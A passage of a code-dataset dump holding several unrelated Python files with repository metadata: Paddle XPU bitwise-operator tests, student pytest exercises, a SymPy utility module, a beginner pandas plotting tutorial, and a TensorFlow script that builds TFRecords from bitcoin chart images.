self.high = 100\n\n        def test_check_output(self):\n            self.check_output_with_place(self.place)\n\n        def test_check_grad(self):\n            pass\n\n    class XPUTestBitwiseAndCase1(XPUTestBitwiseAndBase):\n\n        def init_case(self):\n            self.dtype = np.int32\n            self.x_shape = [4, 5]\n            self.y_shape = [2, 3, 4, 5]\n            self.low = -100\n            self.high = 100\n\n    class XPUTestBitwiseAndCase2(XPUTestBitwiseAndBase):\n\n        def init_case(self):\n            self.dtype = np.int32\n            self.x_shape = [2, 3, 4, 5]\n            self.y_shape = [4, 1]\n            self.low = -100\n            self.high = 100\n\n    class XPUTestBitwiseAndCase3(XPUTestBitwiseAndBase):\n\n        def init_case(self):\n            self.dtype = np.int32\n            self.x_shape = [2, 3, 4, 5]\n            self.y_shape = [2, 3, 4, 5]\n            self.low = 0\n            self.high = 100\n\n\nsupport_types = get_xpu_op_support_types('bitwise_and')\nfor stype in support_types:\n    create_test_class(globals(), XPUTestBitwiseAnd, stype)\n\n\n################## TEST OP: BitwiseOr ##################\nclass XPUTestBitwiseOr(XPUOpTestWrapper):\n\n    def __init__(self):\n        self.op_name = 'bitwise_or'\n\n    class XPUTestBitwiseOrBase(XPUOpTest):\n\n        def setUp(self):\n            self.place = paddle.XPUPlace(0)\n            self.init_case()\n            self.set_case()\n\n        def set_case(self):\n            self.op_type = 'bitwise_or'\n\n            x = np.random.randint(self.low,\n                                  self.high,\n                                  self.x_shape,\n                                  dtype=self.dtype)\n            y = np.random.randint(self.low,\n                                  self.high,\n                                  self.y_shape,\n                                  dtype=self.dtype)\n            out = np.bitwise_or(x, y)\n\n            self.attrs = {'use_xpu': True}\n            self.inputs = {\n                'X': OpTest.np_dtype_to_fluid_dtype(x),\n                'Y': OpTest.np_dtype_to_fluid_dtype(y)\n            }\n            self.outputs = {'Out': out}\n\n        def init_case(self):\n            self.dtype = np.int32\n            self.x_shape = [2, 3, 4, 5]\n            self.y_shape = [2, 3, 4, 5]\n            self.low = -100\n            self.high = 100\n\n        def test_check_output(self):\n            self.check_output_with_place(self.place)\n\n        def test_check_grad(self):\n            pass\n\n    class XPUTestBitwiseOrCase1(XPUTestBitwiseOrBase):\n\n        def init_case(self):\n            self.dtype = np.int32\n            self.x_shape = [4, 5]\n            self.y_shape = [2, 3, 4, 5]\n            self.low = -100\n            self.high = 100\n\n    class XPUTestBitwiseOrCase2(XPUTestBitwiseOrBase):\n\n        def init_case(self):\n            self.dtype = np.int32\n            self.x_shape = [2, 3, 4, 5]\n            self.y_shape = [4, 1]\n            self.low = -100\n            self.high = 100\n\n    class XPUTestBitwiseOrCase3(XPUTestBitwiseOrBase):\n\n        def init_case(self):\n            self.dtype = np.int32\n            self.x_shape = [2, 3, 4, 5]\n            self.y_shape = [2, 3, 4, 5]\n            self.low = 0\n            self.high = 100\n\n\nsupport_types = get_xpu_op_support_types('bitwise_or')\nfor stype in support_types:\n    create_test_class(globals(), XPUTestBitwiseOr, stype)\n\n\n################## TEST OP: BitwiseXor ##################\nclass XPUTestBitwiseXor(XPUOpTestWrapper):\n\n    def __init__(self):\n        self.op_name = 'bitwise_xor'\n\n    class XPUTestBitwiseXorBase(XPUOpTest):\n\n        def setUp(self):\n            self.place = paddle.XPUPlace(0)\n            self.init_case()\n            self.set_case()\n\n        def set_case(self):\n            self.op_type = 'bitwise_xor'\n\n            x = np.random.randint(self.low,\n                                  self.high,\n                                  self.x_shape,\n                                  dtype=self.dtype)\n            y = np.random.randint(self.low,\n                                  self.high,\n                                  self.y_shape,\n                                  dtype=self.dtype)\n            out = np.bitwise_xor(x, y)\n\n            self.attrs = {'use_xpu': True}\n            self.inputs = {\n                'X': OpTest.np_dtype_to_fluid_dtype(x),\n                'Y': OpTest.np_dtype_to_fluid_dtype(y)\n            }\n            self.outputs = {'Out': out}\n\n        def init_case(self):\n            self.dtype = np.int32\n            self.x_shape = [2, 3, 4, 5]\n            self.y_shape = [2, 3, 4, 5]\n            self.low = -100\n            self.high = 100\n\n        def test_check_output(self):\n            self.check_output_with_place(self.place)\n\n        def test_check_grad(self):\n            pass\n\n    class XPUTestBitwiseXorCase1(XPUTestBitwiseXorBase):\n\n        def init_case(self):\n            self.dtype = np.int32\n            self.x_shape = [4, 5]\n            self.y_shape = [2, 3, 4, 5]\n            self.low = -100\n            self.high = 100\n\n    class XPUTestBitwiseXorCase2(XPUTestBitwiseXorBase):\n\n        def init_case(self):\n            self.dtype = np.int32\n            self.x_shape = [2, 3, 4, 5]\n            self.y_shape = [4, 1]\n            self.low = -100\n            self.high = 100\n\n    class XPUTestBitwiseXorCase3(XPUTestBitwiseXorBase):\n\n        def init_case(self):\n            self.dtype = np.int32\n            self.x_shape = [2, 3, 4, 5]\n            self.y_shape = [2, 3, 4, 5]\n            self.low = 0\n            self.high = 100\n\n\nsupport_types = get_xpu_op_support_types('bitwise_xor')\nfor stype in support_types:\n    create_test_class(globals(), XPUTestBitwiseXor, stype)\n\n\n##################  TEST OP: BitwiseNot ##################\nclass XPUTestBitwiseNot(XPUOpTestWrapper):\n\n    def __init__(self):\n        self.op_name = 'bitwise_not'\n\n    class XPUTestBitwiseNotBase(XPUOpTest):\n\n        def setUp(self):\n            self.place = paddle.XPUPlace(0)\n            self.init_case()\n            self.set_case()\n\n        def set_case(self):\n            self.op_type = 'bitwise_not'\n\n            x = np.random.randint(self.low,\n                                  self.high,\n                                  self.x_shape,\n                                  dtype=self.dtype)\n            out = np.bitwise_not(x)\n\n            self.attrs = {'use_xpu': True}\n            self.inputs = {'X': OpTest.np_dtype_to_fluid_dtype(x)}\n            self.outputs = {'Out': out}\n\n        def init_case(self):\n            self.dtype = np.int32\n            self.x_shape = [2, 3, 4, 5]\n            self.low = -100\n            self.high = 100\n\n        def test_check_output(self):\n            self.check_output_with_place(self.place)\n\n        def test_check_grad(self):\n            pass\n\n    class XPUTestBitwiseNotBool(XPUTestBitwiseNotBase):\n\n        def setUp(self):\n            self.place = paddle.XPUPlace(0)\n            self.init_case()\n            self.set_case()\n\n        def set_case(self):\n            self.op_type = 'bitwise_not'\n\n            x = np.random.choice([True, False], self.x_shape)\n            out = np.bitwise_not(x)\n\n            self.attrs = {'use_xpu': True}\n            self.inputs = {'X': x}\n            self.outputs = {'Out': out}\n\n        def init_case(self):\n            self.dtype = np.bool\n            self.x_shape = [2, 3, 4, 5]\n\n\nsupport_types = get_xpu_op_support_types('bitwise_not')\nfor stype in support_types:\n    create_test_class(globals(), XPUTestBitwiseNot, stype)\n\nif __name__ == '__main__':\n    unittest.main()\n", "meta": {"hexsha": "ea86f3f86614bce9d81ac8370ded645cc4c1fd3a", "size": 9690, "ext": "py", "lang": "Python", "max_stars_repo_path": "python/paddle/fluid/tests/unittests/xpu/test_bitwise_op_xpu.py", "max_stars_repo_name": "L-Net-1992/Paddle", "max_stars_repo_head_hexsha": "4d0ca02ba56760b456f3d4b42a538555b9b6c307", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 11, "max_stars_repo_stars_event_min_datetime": "2016-08-29T07:43:26.000Z", "max_stars_repo_stars_event_max_datetime": "2016-08-29T07:51:24.000Z", "max_issues_repo_path": "python/paddle/fluid/tests/unittests/xpu/test_bitwise_op_xpu.py", "max_issues_repo_name": "L-Net-1992/Paddle", "max_issues_repo_head_hexsha": "4d0ca02ba56760b456f3d4b42a538555b9b6c307", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "python/paddle/fluid/tests/unittests/xpu/test_bitwise_op_xpu.py", "max_forks_repo_name": "L-Net-1992/Paddle", "max_forks_repo_head_hexsha": "4d0ca02ba56760b456f3d4b42a538555b9b6c307", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-12-09T08:59:17.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-09T08:59:17.000Z", "avg_line_length": 29.0119760479, "max_line_length": 97, "alphanum_fraction": 0.524871001, "include": true, "reason": "import numpy", "num_tokens": 2346, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48047867804790706, "lm_q2_score": 0.11279541075648725, "lm_q1q2_score": 0.05419578985014767}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Sep 16 14:02:38 2020\n\n@author: viardcrl\n\"\"\"\n\nimport pytest as pt\nimport S1_algotools as s1\nimport numpy as np\n\n#------------------------------------------------------------------------#\n#------------------------------ EXERCISE 1 ------------------------------#\n#------------------------------------------------------------------------#\n\ndef test_average_above_zero_0():\n    assert s1.average_above_zero([2,2]) == 2\n\ndef test_average_above_zero_1():\n    with pt.raises(ZeroDivisionError):\n         s1.average_above_zero([0])\n    \ndef test_average_above_zero_2():\n    with pt.raises(Exception):\n        assert s1.average_above_zero([-1, 2]) == 2\n    \ndef test_average_above_zero_3():\n    with pt.raises(TypeError):\n         s1.average_above_zero(['n'])\n         \ndef test_average_above_zero_4():\n    with pt.raises(TypeError):\n         s1.average_above_zero([None])\n         \n#------------------------------------------------------------------------#\n#------------------------------ EXERCISE 2 ------------------------------#\n#------------------------------------------------------------------------#\n    \ndef test_max_value_0():\n    assert s1.max_value([1,5,3,4,9,5]) == 4\n    \ndef test_max_value_1():\n    assert s1.max_value([1.4,5.3,3.2,4.5,9.9,5.2]) == 4\n    \ndef test_max_value_2():\n    with pt.raises(TypeError):\n        assert s1.max_value([1,5,'n'])\n    \ndef test_max_value_3():\n    with pt.raises(TypeError):\n        assert s1.max_value([2,None])\n        \ndef test_max_value_4():\n    assert s1.max_value([0,0,0,0,0]) == 0\n        \n#------------------------------------------------------------------------#\n#------------------------------ EXERCISE 3 ------------------------------#\n#------------------------------------------------------------------------#\n        \ndef test_reverse_table_0():\n    assert s1.reverse_table([1,5,3,4,9,5]) == [5,9,4,3,5,1]\n    \ndef test_reverse_table_1():\n    assert s1.reverse_table([0,0,0,0,0]) == [0,0,0,0,0]\n    \ndef test_reverse_table_2():\n    with pt.raises(TypeError):\n        assert s1.reverse_table([1,5,'n'])\n    \ndef test_reverse_table_3():\n    with pt.raises(TypeError):\n        assert s1.reverse_table([2,None])\n        \ndef test_reverse_table_4():\n    assert s1.reverse_table([1.1,2,9,4.2]) == [4.2,9,2,1.1]\n    \n#------------------------------------------------------------------------#\n#------------------------------ EXERCISE 4 ------------------------------#\n#------------------------------------------------------------------------#\n    \n@pt.fixture\ndef zero_numpy():\n    zero_numpy = np.zeros((10,10), dtype=float)\n    return zero_numpy\n\n@pt.fixture\ndef zero_numpy_with_one(zero_numpy):\n    zero_numpy[2:5, 2:5] = np.ones((3,3), dtype=float)\n    return zero_numpy\n\ndef test_roi_bbox(zero_numpy_with_one, zero_numpy):\n    assert s1.roi_bbox(zero_numpy) == ([2,2],[4,4])", "meta": {"hexsha": "0889b7308e83e43ce5231974b172d26ec8440025", "size": 2868, "ext": "py", "lang": "Python", "max_stars_repo_path": "sessions/session_2/test_S2.py", "max_stars_repo_name": "IceCrew-Source/BachelorDIM-Lectures-Algorithms-2020", "max_stars_repo_head_hexsha": "95d2761883feebada25f62c20bdfe405a1353f61", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "sessions/session_2/test_S2.py", "max_issues_repo_name": "IceCrew-Source/BachelorDIM-Lectures-Algorithms-2020", "max_issues_repo_head_hexsha": "95d2761883feebada25f62c20bdfe405a1353f61", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "sessions/session_2/test_S2.py", "max_forks_repo_name": "IceCrew-Source/BachelorDIM-Lectures-Algorithms-2020", "max_forks_repo_head_hexsha": "95d2761883feebada25f62c20bdfe405a1353f61", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.1739130435, "max_line_length": 74, "alphanum_fraction": 0.4494421199, "include": true, "reason": "import numpy", "num_tokens": 674, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48047867804790706, "lm_q2_score": 0.1127954033004973, "lm_q1q2_score": 0.05419578626770347}}
{"text": "\"\"\"Miscellaneous stuff that doesn't really fit anywhere else.\"\"\"\n\nfrom sympy.core import sympify\n\ndef default_sort_key(item):\n    \"\"\"\n    A default sort key for lists of SymPy objects to pass to functions like sorted().\n\n    This uses the default ordering. If you want a nonstandard ordering, you will\n    have to create your own sort key using the sort_key() method of the object.\n\n    **Examples**\n\n    >>> from sympy import Basic, S, I, default_sort_key\n    >>> from sympy.abc import x\n\n    >>> sorted([S(1)/2, I, -I], key=default_sort_key)\n    [1/2, -I, I]\n    >>> a = [S(1)/2, I, -I]\n    >>> a.sort(key=default_sort_key)\n    >>> a\n    [1/2, -I, I]\n\n    >>> b = S(\"[x, 1/x, 1/x**2, x**2, x**(1/2), x**(1/4), x**(3/2)]\")\n    >>> b.sort(key=default_sort_key)\n\n    The built-in functions min() and max() also take a key function (in Python\n    2.5 or higher), that this can be used for.\n    \"\"\"\n\n    #XXX: The following should also be in the docstring, but orders do not\n    # actually work at the moment.\n\n    # To use a nonstandard order, you must create your own sort key.  The default\n    # order is lex.\n\n    # >>> from sympy import sympify\n    # >>> mykey = lambda item: sympify(item).sort_key(order='rev-lex')\n    # >>> sorted([x, x**2, 1], key=default_sort_key)\n    # [x**2, x, 1]\n    # >>> sorted([x, x**2, 1], key=mykey)\n    # [1, x, x**2]\n\n    return sympify(item).sort_key()\n\nimport sys\nsize = getattr(sys, \"maxint\", None)\nif size is None: #Python 3 doesn't have maxint\n    size = sys.maxsize\nif size > 2**32:\n    ARCH = \"64-bit\"\nelse:\n    ARCH = \"32-bit\"\n", "meta": {"hexsha": "876e6a145a49041d99f071e10cd200abddfc31e2", "size": 1569, "ext": "py", "lang": "Python", "max_stars_repo_path": "sympy/utilities/misc.py", "max_stars_repo_name": "minrk/sympy", "max_stars_repo_head_hexsha": "1cc6e3837b8ed20ba52ea97298f31aa08b43c508", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2015-11-13T16:40:57.000Z", "max_stars_repo_stars_event_max_datetime": "2017-09-15T15:37:19.000Z", "max_issues_repo_path": "sympy_old/utilities/misc.py", "max_issues_repo_name": "curzel-it/KiPyCalc", "max_issues_repo_head_hexsha": "909c783d5e6967ea58ca93f875106d8a8e3ca5db", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2016-06-13T01:29:51.000Z", "max_issues_repo_issues_event_max_datetime": "2016-06-14T00:38:27.000Z", "max_forks_repo_path": "sympy_old/utilities/misc.py", "max_forks_repo_name": "curzel-it/KiPyCalc", "max_forks_repo_head_hexsha": "909c783d5e6967ea58ca93f875106d8a8e3ca5db", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2022-03-21T09:07:27.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T09:07:27.000Z", "avg_line_length": 29.0555555556, "max_line_length": 85, "alphanum_fraction": 0.6073932441, "include": true, "reason": "from sympy", "num_tokens": 484, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.41869690935568665, "lm_q2_score": 0.12940273327036908, "lm_q1q2_score": 0.05418052448248182}}
{"text": "\"\"\"Import statements tell python what packages you'll be using.\n\nYou can use 'as' to change how you refer to the package. In this file,\nI import matplotlib.pyplot as plt so I don't have to type out\n'matplotlib.pyplot' every time I want to use it.\n\"\"\"\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n###############################################################################\n\"\"\"After the import statements, I define one function: plot_with_pandas.\nFunction definitions start with the word 'def' and end when\nthe indentation ends. For example:\n\n\ndef ex1():\n    print(\"This line is part of the function 'ex1' because it's indented\")\n\n    print(\"This line is still part of the function 'ex1'\")\n    print(\"Blank lines do not end the current level of indentation\")\n\nprint(\"This line is not part of the function 'ex1' because it's not indented\")\n\n\n\"\"\"\n\n\ndef plot_with_pandas():\n    \"\"\"Generate plot, using pandas.\"\"\"\n    # pandas has an easy way to read csv data.\n    # you can use pd.read_csv(), with a string that\n    # tells pandas where to find the data file.\n    # See https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.read_csv.html\n    # for full documentation.\n    df = pd.read_csv(\"inputs/data.csv\")\n\n    # Now, there's a pandas dataframe named 'df' that holds all the information\n    # that was in inputs/data.csv\n    # A dataframe is a container we can store data in. For now, you can\n    # visualize it as a table, or a spreadsheet in excel.\n\n    # Dataframes come with their own built-in way to generate graphs.\n    # This next line will generate a graph that plots the x column along the\n    # x axis, and the sin and cos columns on the y-axis.\n    df.plot(x=\"x\", y=[\"sin\", \"cos\"])\n\n    # Pandas uses matplotlib.pyplot to generate graphs so you don't have to\n    # interact with matplotlib.pyplot directly. In the next line, we DO interact\n    # with matplotlib.pyplot directly to show the graph. We set block=False\n    # because otherwise, our program will pause here until the graph is shown.\n    # Instead, our program continues to run until the line below that\n    # starts with 'input'\n    # input() will print a string (a string is just text with quotes\n    # around it) and wait for the user to press enter.\n    plt.show(block=False)\n\n\n###############################################################################\n# These next lines 'call' the functions defined above.\n# If you erase the lines below (or put a # in front of them) this code won't\n# 'do' anything (it won't generate a graph anymore.)\nplot_with_pandas()\ninput(\"Press enter to close the graph (if it's still open) and end the program\")\n\n# This program is broken into three parts:\n# Part 1 pulls in (imports) code that other people wrote.\n# Part 2 defines a function that you'll be using later.\n#     Our function, plot_with_pandas, is really only 3 lines of running code,\n#     but defining a function allows us to use those 3 lines together, without\n#     having to re-type them every time we want them to run.\n# Part 3 is the 'execution' part. It's the part that python actually 'does'.\n# It runs the function defined in part 2, then it pauses on the input line until\n# the user (you) hits enter.\n", "meta": {"hexsha": "f53d6e4eff10252ac56d043fc117b77b45edad0f", "size": 3222, "ext": "py", "lang": "Python", "max_stars_repo_path": "Python/Projects/project1/project1.backup.py", "max_stars_repo_name": "mzurzolo/STBS", "max_stars_repo_head_hexsha": "0e3b5fcb88f7d488029ba71012787f36a2d97c70", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Python/Projects/project1/project1.backup.py", "max_issues_repo_name": "mzurzolo/STBS", "max_issues_repo_head_hexsha": "0e3b5fcb88f7d488029ba71012787f36a2d97c70", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 3, "max_issues_repo_issues_event_min_datetime": "2020-03-24T17:26:36.000Z", "max_issues_repo_issues_event_max_datetime": "2021-02-02T22:06:46.000Z", "max_forks_repo_path": "Python/Projects/project1/project1.backup.py", "max_forks_repo_name": "mzurzolo/STBS", "max_forks_repo_head_hexsha": "0e3b5fcb88f7d488029ba71012787f36a2d97c70", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 42.96, "max_line_length": 89, "alphanum_fraction": 0.6821849783, "include": true, "reason": "import numpy", "num_tokens": 743, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43014736319616964, "lm_q2_score": 0.12592276975547592, "lm_q1q2_score": 0.054165347376676345}}
{"text": "# -*- coding: utf-8 -*-\r\n# \u672c\u6a94\u6848\u70ba\u6b63\u9ad4\u4e2d\u6587\u6559\u5b78\u6587\u4ef6\uff0c\u65bc\u90e8\u7f72\u74b0\u5883\u4f7f\u7528\u8acb\u518d\u4e09\u7559\u610f\r\n\r\n\"\"\" \u5f9e\u76ee\u524d\u8def\u5f91 data \u8cc7\u6599\u593e\u8b80\u53d6\u5716\u50cf\uff0c\u8f49\u63db\u6210 tfrecord \u4ee5\u4fbf\u5728 tensorflow \u4e2d\u4f7f\u7528 \"\"\"\r\n\r\n###############################################################################\r\n#             \u4f7f\u7528\u5230\u7684 TensorFlow \u51fd\u5f0f\uff0c\u82e5\u6709\u4e0d\u61c2\uff0c\u8acb\u898b '\u672b\u5c3e\u9644\u8a3b'\r\n###############################################################################\r\n\r\nimport sys\r\n\r\nimport numpy as np\r\nimport tensorflow as tf\r\nimport glob\r\nimport cv2\r\n\r\nfrom random import shuffle\r\n\r\n# parameters\r\n# -----------------------------------------------------------------------------\r\n\r\nIMAGE_SIZE          = 128                   # \u5716\u50cf\u8abf\u6574\u70ba\u6b63\u65b9\u5f62\u7684\u77e9\u9663\u5927\u5c0f\r\nZERO_LABEL          = 'down'                # \u6a19\u7c64\u70ba 0 \u7684\u5716\u50cf\u6a94\u6848\u540d\u7a31\r\n\r\nLABEL_NAME          = 'label'               # \u6a23\u672c\u4e2d\u6a19\u7c64\u7684\u7d22\u5f15\r\nIMAGE_NAME          = 'image'               # \u6a23\u672c\u4e2d\u5716\u50cf\u7684\u7d22\u5f15\r\n\r\nTRAIN_DATA_RATIO    = 0.9                   # \u8a13\u7df4\u96c6\u8cc7\u6599\u6bd4\u4f8b\r\nVAL_DATA_RATIO      = 0.0                   # \u9a57\u8b49\u96c6\u8cc7\u6599\u6bd4\u4f8b\r\nTEST_DATA_RATIO     = 0.1                   # \u6e2c\u8a66\u96c6\u8cc7\u6599\u6bd4\u4f8b\r\n\r\nSHUFFLE_DATA        = False                 # \u662f\u5426\u8981\u96a8\u6a5f\u6253\u4e82\u8cc7\u6599\u9806\u5e8f\r\nDISPLAY_STEP        = 1                     # \u6bcf\u8655\u7406\u591a\u5c11\u5716\u50cf\u986f\u793a\u8a0a\u606f\r\n\r\nDATA_PATH        = 'data/bitcoin/*.jpg'     # \u6240\u6709\u8cc7\u6599\u8def\u5f91\r\n\r\nTRAIN_FILENAME   = 'train.tfrecords'        # \u8a13\u7df4\u96c6\u8cc7\u6599 TFRecord \u540d\u7a31\r\nVAL_FILENAME     = 'val.tfrecords'          # \u9a57\u8b49\u96c6\u8cc7\u6599 TFRecord \u540d\u7a31\r\nTEST_FILENAME    = 'test.tfrecords'         # \u6e2c\u8a66\u96c6\u8cc7\u6599 TFRecord \u540d\u7a31\r\n\r\n# =============================================================================\r\n#                                                                       define\r\n# =============================================================================\r\n\r\n# -----------------------------------------------------------------------------\r\n# load_image(addr, sq_size=224)\r\n#\r\n#   - \u5f9e\u7d66\u5b9a\u7684\u8cc7\u6599\u593e\u8def\u5f91\u8b80\u53d6\u5716\u50cf\uff0c\u8abf\u6574\u5927\u5c0f\u70ba\u6b63\u65b9\u5f62 , \u4e26\u8f49\u63db\u6210 RGB \u683c\u5f0f\r\n#\r\n# inputs  :\r\n#   - addr    < string > : \u5716\u50cf\u6a94\u6848\u8def\u5f91 \u3000\u3000\u3000\u3000\u3000\u3000\u3000p.s. \u5efa\u8b70\u4f7f\u7528 glob \u5f97\u5230\u8def\u5f91\r\n#   - sq_size < int >    : \u5716\u7247\u6821\u6b63\u81f3\u6b63\u65b9\u5f62\u5927\u5c0f \u3000p.s. \u9810\u8a2d\u8abf\u6574\u81f3 224 x 224\r\n#\r\n# outputs :\r\n#   - img < np.float32 > : \u5716\u50cf\u7684 RGB \u77e9\u9663\u6578\u503c\u683c\u5f0f\r\n#\r\n# -----------------------------------------------------------------------------\r\ndef load_image(addr, sq_size=IMAGE_SIZE):\r\n    img = cv2.imread(addr)\r\n    img = cv2.resize(img, (sq_size, sq_size), interpolation=cv2.INTER_CUBIC)\r\n    img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n    img = img.astype(np.float32)\r\n    return img\r\n\r\n\r\n\r\n# -----------------------------------------------------------------------------\r\n# _int64_feature(value)\r\n#\r\n#   - \u5c07\u7d66\u5b9a\u7684 label \u5b58\u6210 TensorFlow \u7684 \uff26\uff45\uff41\uff54\uff55\uff52\uff45 \u683c\u5f0f\r\n#\r\n# inputs  :\r\n#   - value < 1 x N > : label \u503c, \u4f8b\u5982 [0 0 0 1 1 1 0 0 0 1 0]\r\n#\r\n# outputs :\r\n#   - feature < tf object > : TensorFlow int64 \u683c\u5f0f\u7684\u8cc7\u6599\r\n#                             \u76f8\u7576\u65bc C++ \u4e2d\u7684 long long\r\n#\r\n# -----------------------------------------------------------------------------\r\ndef _int64_feature(value):\r\n  return tf.train.Feature(int64_list=tf.train.Int64List(value=[value]))\r\n\r\n\r\n\r\n# -----------------------------------------------------------------------------\r\n# _bytes_feature(value)\r\n#\r\n#   - \u5c07\u7d66\u5b9a\u7684\u3000\uff42\uff59\uff54\uff45\uff53\uff54\uff52\uff45\uff41\uff4d\u3000\u5b58\u6210 tensorFlow \u7684 \uff26\uff45\uff41\uff54\uff55\uff52\uff45 \u683c\u5f0f\r\n#\r\n# inputs  :\r\n#   - value < bytestream > :  \u4e8c\u9032\u5236\u7684\u8868\u793a\r\n#\r\n# outputs :\r\n#   - feature < tf object > : TensorFlow bytestream \u683c\u5f0f\u7684\u8cc7\u6599\r\n#\r\n# -----------------------------------------------------------------------------\r\ndef _bytes_feature(value):\r\n  return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value]))\r\n\r\n# -----------------------------------------------------------------------------\r\n# create_tfrecord(file_name)\r\n#\r\n#   - \u5efa\u7acb\u7d66\u5b9a\u8cc7\u6599\u96c6\u7684 TFRecords \u6a94\u6848\r\n#\r\n# inputs  :\r\n#   - tfrecord_filename < string >       : \u4e8c\u9032\u5236\u7684\u8868\u793a\r\n#   - data_addrs        < 1 x N string > : N \u500b\u5716\u50cf\u4f4d\u5740\r\n#   - data_labels       < 1 x N int >    : N \u500b\u5716\u50cf\u7684\u5c0d\u61c9\u6a19\u7c64\u503c\r\n#   - dispstep          < int >          : \u6bcf\u8655\u7406\u591a\u5c11\u5716\u50cf\u9700\u8981\u986f\u793a\u9032\u5ea6\r\n#\r\n# outputs :\r\n#   - none\r\n#\r\n# -----------------------------------------------------------------------------\r\ndef create_tfrecord(tfrecord_filename, data_addrs, data_labels, dispstep=1):\r\n    writer = tf.python_io.TFRecordWriter(tfrecord_filename)\r\n    for i in range(len(data_addrs)):\r\n\r\n        # \u6bcf dispstep \u544a\u77e5\u76ee\u524d\u5132\u5b58\u9032 TFRecords \u7684\u5716\u50cf\u8cc7\u6599\u6709\u591a\u5c11\r\n        if not i % dispstep:\r\n            print('write to {} : {}/{}'.format( tfrecord_filename, i+1, len(data_addrs)))\r\n            sys.stdout.flush()\r\n\r\n        # \u8b80\u53d6\u5716\u50cf\r\n        image = load_image(addrs[i])\r\n        label = data_labels[i]\r\n\r\n        # \u5efa\u7acb\u6a23\u672c\u8cc7\u6599 'example'\r\n        feature  = {LABEL_NAME: _int64_feature(label),\r\n                    IMAGE_NAME: _bytes_feature(tf.compat.as_bytes(image. tobytes()))}\r\n        features = tf.train.Features(feature=feature)\r\n        example = tf.train.Example(features=features)\r\n\r\n        # \u5e8f\u5217\u5beb\u5165\u8cc7\u6599\u96c6 example \u5230 TFRecord \u6a94\u6848\u4e2d\r\n        writer.write(example.SerializeToString())\r\n\r\n    # \u95dc\u9589\u6a94\u6848\r\n    writer.close()\r\n    sys.stdout.flush()\r\n\r\n\r\n\r\n# =============================================================================\r\n#                                                                       script\r\n# =============================================================================\r\n\r\n\r\n# \u5f9e\u6a94\u540d\u662f\u5426\u5305\u542b 'dwon' \u8207\u5426, \u4f86\u5c07\u8cc7\u6599\u6253\u4e0a 0 \u6216 1 \u7684\u6a19\u7c64\r\n# -----------------------------------------------------------------------------\r\n\r\n# \u8b80\u53d6\u8a13\u7df4\u8cc7\u6599\u8def\u5f91\u4f4d\u5740\r\naddrs  = glob.glob(DATA_PATH)\r\n\r\n\r\n# 0 : \u4e0b\u4e00\u500b bar close \u4e0b\u8dcc\r\n# 1 : \u4e0b\u4e00\u500b bar close \u4e0a\u6f32\r\nlabels = [0 if ZERO_LABEL in addr else 1 for addr in addrs]\r\n\r\n\r\n\r\n# \u6253\u4e82\u8cc7\u6599\u9806\u5e8f ( \u7531\u65bc\u6211\u5011\u662f\u6642\u9593\u5e8f\u5217\u8cc7\u6599, \u6240\u4ee5\u5207\u8a13\u7df4\u8207\u6e2c\u8a66\u9084\u662f\u5148\u4e0d\u8981\u6253\u4e82 )\r\n# -----------------------------------------------------------------------------\r\nif SHUFFLE_DATA:\r\n    c = list(zip(addrs, labels))\r\n    shuffle(c)\r\n    addrs, labels = zip(*c)\r\n\r\n\r\n\r\n# \u5c07\u8cc7\u6599\u6839\u64da\u6bd4\u4f8b\u5206\u70ba\u8a13\u7df4\u96c6, \u9a57\u8b49\u96c6\u8207\u6e2c\u8a66\u96c6\r\n# -----------------------------------------------------------------------------\r\n\r\ntrain_addrs  = addrs[0:int(TRAIN_DATA_RATIO*len(addrs))]\r\ntrain_labels = labels[0:int(TRAIN_DATA_RATIO*len(labels))]\r\ncreate_tfrecord(TRAIN_FILENAME, train_addrs, train_labels, dispstep=DISPLAY_STEP)\r\n\r\ntest_start_ratio = TRAIN_DATA_RATIO + VAL_DATA_RATIO       # \u6e2c\u8a66\u96c6\u958b\u59cb\u6bd4\u4f8b\u4f4d\u7f6e\r\ntest_end_ratio   = test_start_ratio + TEST_DATA_RATIO      # \u6e2c\u8a66\u96c6\u7d50\u675f\u6bd4\u4f8b\u4f4d\u7f6e\r\n\r\nval_addrs    = addrs[int(TRAIN_DATA_RATIO*len(addrs)):int(test_start_ratio*len(addrs))]\r\nval_labels   = 